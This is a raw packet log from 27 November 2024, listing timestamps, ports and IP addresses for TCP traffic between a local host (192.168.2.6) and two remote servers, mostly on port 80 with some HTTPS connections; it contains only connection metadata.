Nov 27, 2024 11:14:21.096530914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.096653938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.097512007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.097619057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.097987890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.098587036 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.098745108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.098773003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.099035025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.099680901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.099894047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.100014925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.100152016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.100801945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.101048946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.101079941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.101489067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.101901054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.101913929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.102020979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.103213072 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.103265047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.103430033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.103504896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.104125023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.104475021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.104722023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.104875088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.105351925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.105376959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.105624914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.107038021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.107141972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.107614040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.108135939 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.108163118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.108243942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.108299017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.108428955 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.109030008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.109045029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.109138012 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.109713078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.109855890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.110218048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.110814095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.110932112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.111682892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.112107992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.112646103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.112759113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.113034964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.113210917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.113620043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.113631964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.113692045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.114294052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.114423037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.114437103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.114556074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.159457922 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.160063028 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.160121918 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.160518885 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.160526037 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.161725044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.161830902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.161919117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.162285089 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.162655115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.162890911 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.163031101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.163398981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.163412094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.163497925 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.164499044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.164522886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.164623022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.165623903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.165826082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.165895939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.165991068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.166723967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.166836023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.166867018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.167049885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.167850018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.168036938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.168191910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.169080019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.169181108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.169224977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.169356108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.170176983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.170322895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.170342922 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.170438051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.171262026 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.171365023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.171752930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.172058105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.172382116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.172394991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.172636986 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.173502922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.173516035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.173572063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.174678087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.174916029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.174945116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.175645113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.175995111 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.220060110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.220149040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.220196009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.220401049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.220490932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.220539093 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.220659018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.221518993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.221721888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.221724987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.221860886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.222649097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.222868919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.222970009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.223193884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.223778009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.223896980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.224191904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.224276066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.224853039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.225033045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.225145102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.225426912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.226058006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.226212025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.226243973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.226336002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.227094889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.227191925 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.227343082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.227751017 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.228271008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.228473902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.228643894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.228786945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.229361057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.229568958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.229613066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.229861021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.230530977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.230612993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.230721951 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.231554031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.231726885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.231734037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.231868982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.232678890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.232928991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.233100891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.233237982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.233825922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.233963013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.233992100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.234905005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.234910965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.234977007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.235044003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.235161066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.236037016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.236264944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.236327887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.237154007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.237243891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.237276077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.240902901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.290838003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.290896893 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.291184902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.291244984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.291372061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.291383982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.291429043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.292586088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.292646885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.292907000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.292984962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.293685913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.293730974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.294390917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.294634104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.294724941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.294771910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.295078993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.295147896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.295842886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.295895100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.295948982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.296000957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.296983957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.297033072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.298111916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.298135042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.298147917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.298161030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.298170090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.298192978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.299173117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.299245119 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.299264908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.299316883 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.300421000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.300470114 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.300565004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.300610065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.301456928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.301512003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.302038908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.302089930 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.302526951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.302577972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.303157091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.303200006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.303656101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.303669930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.303714037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.304758072 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.304850101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.305888891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.305902004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.305923939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.305975914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.305975914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.306983948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.307028055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.307811975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.307876110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.308140039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.308152914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.308191061 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.309220076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.309330940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.309855938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.309981108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.310329914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.310555935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.310590982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.310605049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.311458111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.311553001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.311584949 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.311623096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.312594891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.312683105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.312805891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.312891960 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.313818932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.313874006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.314323902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.314419031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.315013885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.315077066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.315088034 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.315157890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.315206051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.316040993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.316108942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.363095999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.363204956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.363310099 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.363326073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.363337994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.363359928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.363384962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.364389896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.364648104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.364942074 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.365001917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.365528107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.365540981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.365583897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.366570950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.366585016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.366616011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.366630077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.368026018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.368213892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.368676901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.368730068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.368839025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.368850946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.368865967 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.368885994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.368938923 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.369005919 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.369831085 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.369909048 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.369955063 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.370256901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.370310068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.370676041 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.370693922 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.370706081 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.370712042 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.371074915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.371088028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.371098995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.371129990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.371169090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.371459961 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.371481895 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.371496916 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.371504068 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.373300076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.373311043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.373322010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.373336077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.373358965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.373394966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.374522924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.374547958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.374566078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.374789000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.375603914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.375668049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.376635075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.376646996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.376681089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.376694918 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.378920078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.379230976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.380151033 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.380194902 CET	443	49734	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.380281925 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.381391048 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.381443024 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.381705046 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.381880999 CET	49734	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.381895065 CET	443	49734	13.107.246.63	192.168.2.6
